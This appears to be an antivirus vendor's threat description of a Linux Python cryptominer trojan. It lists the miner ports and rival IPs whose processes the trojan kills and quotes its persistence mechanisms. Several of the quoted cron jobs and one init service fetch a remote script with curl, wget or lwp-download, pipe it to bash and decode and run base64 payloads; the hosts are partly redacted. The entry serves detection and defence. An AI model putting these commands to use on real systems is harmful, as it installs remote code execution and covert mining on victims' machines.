Trojan.Python.MALXMR.D
Trojan-Downloader.Python.Miner.b (Kaspersky)
Linux
Type de grayware:
Trojan
Destructif:
Non
Chiffrement:
In the wild::
Oui
Overview
It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Détails techniques
Übertragungsdetails
It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Andere Details
Es macht Folgendes:
- Terminates processes connected to the following ports:
- :3333
- :4444
- :5555
- :7777
- :14444
- :5790
- :45700
- :2222
- :9999
- :20580
- :13531
- Terminates processes connected to the following IP:
- {BLOCKED}.{BLOCKED}.24.12:8080
- {BLOCKED}.{BLOCKED}.17.13:8080
- {BLOCKED}.{BLOCKED}.11.170:443
- It creates the following cron jobs for persistence:
- Path: /etc/cron.d/root
- Schedule: Every Minute
- Command: */1 * * * * root (curl -s http://{BLOCKED}.{BLOCKED}.113.151/xmi||wget -q -O - http://{BLOCKED}.{BLOCKED}.113.151/xmi)|bash -sh; echo {base 64 encoded string} | base64 -d | bash -; lwp-download http://{BLOCKED}.{BLOCKED}.113.151/xmi /tmp/xmi; bash /tmp/xmi; rm -rf /tmp/xmi\n##
- Path: /etc/cron.d/apache/root
- Schedule: Every Two Minutes
- Command: */2 * * * * root (curl -s http://{BLOCKED}.{BLOCKED}.113.151/xmi||wget -q -O - http://{BLOCKED}.{BLOCKED}.113.151/xmi)|bash -sh; echo {base 64 encoded string} | base64 -d | bash -; lwp-download http://{BLOCKED}.{BLOCKED}.113.151/xmi /tmp/xmi; bash /tmp/xmi; rm -rf /tmp/xmi\n##
- Path: /etc/cron.d/nginx
- Schedule: Every Three Minutes
- Command: */3 * * * * root lwp-download http://{BLOCKED}.{BLOCKED}.113.151/xmi /tmp/.xo; bash /tmp/.xo; rm -rf /tmp.xo\n##
- Path: /var/spool/cron/root
- Schedule: Every Thirty Minutes
- Command: */30 * * * * (curl -s http://{BLOCKED}.{BLOCKED}.113.151/xmi||wget -q -O - http://{BLOCKED}.{BLOCKED}.113.151/xmi)|bash -sh; echo {base 64 encoded string} | base64 -d | bash -; lwp-download http://{BLOCKED}.{BLOCKED}.113.151/xmi /tmp/xmi; bash /tmp/xmi\n; rm -rf /tmp/xmi\n##
- Path: /var/spool/cron/crontabs/root
- Schedule: Every Minute
- Command: * * * * * (curl -s http://{BLOCKED}.{BLOCKED}.113.151/xmi||wget -q -O - http://{BLOCKED}.{BLOCKED}.113.151/xmi)|bash -sh; echo {base 64 encoded string} | base64 -d | bash -; lwp-download http://{BLOCKED}.{BLOCKED}.113.151/xmi /tmp/xmi; bash /tmp/xmi; rm -rf /tmp/xmi\n##
- Path: /etc/cron.hourly/oanacroner1
- Schedule: Every Hour
- Command: (curl -fsSL http://{BLOCKED}.{BLOCKED}.113.151/xmi||wget -q -O- http://{BLOCKED}.{BLOCKED}.113.151/xmi)|bash -sh; echo {base 64 encoded string} | base64 -d | bash -; lwp-download http://{BLOCKED}.{BLOCKED}.113.151/xmi /tmp/xmi; bash /tmp/xmi; rm -rf /tmp/xmi
- It creates the following service for persistence:
- Path: /etc/init.d/down
- Command: (curl -fsSL http://{BLOCKED}.{BLOCKED}.113.151/xmi||wget -q -O- http://{BLOCKED}.{BLOCKED}.113.151/xmi)|bash -sh; echo "{base 64 encoded string}" | base64 -d | bash -'
Solutions
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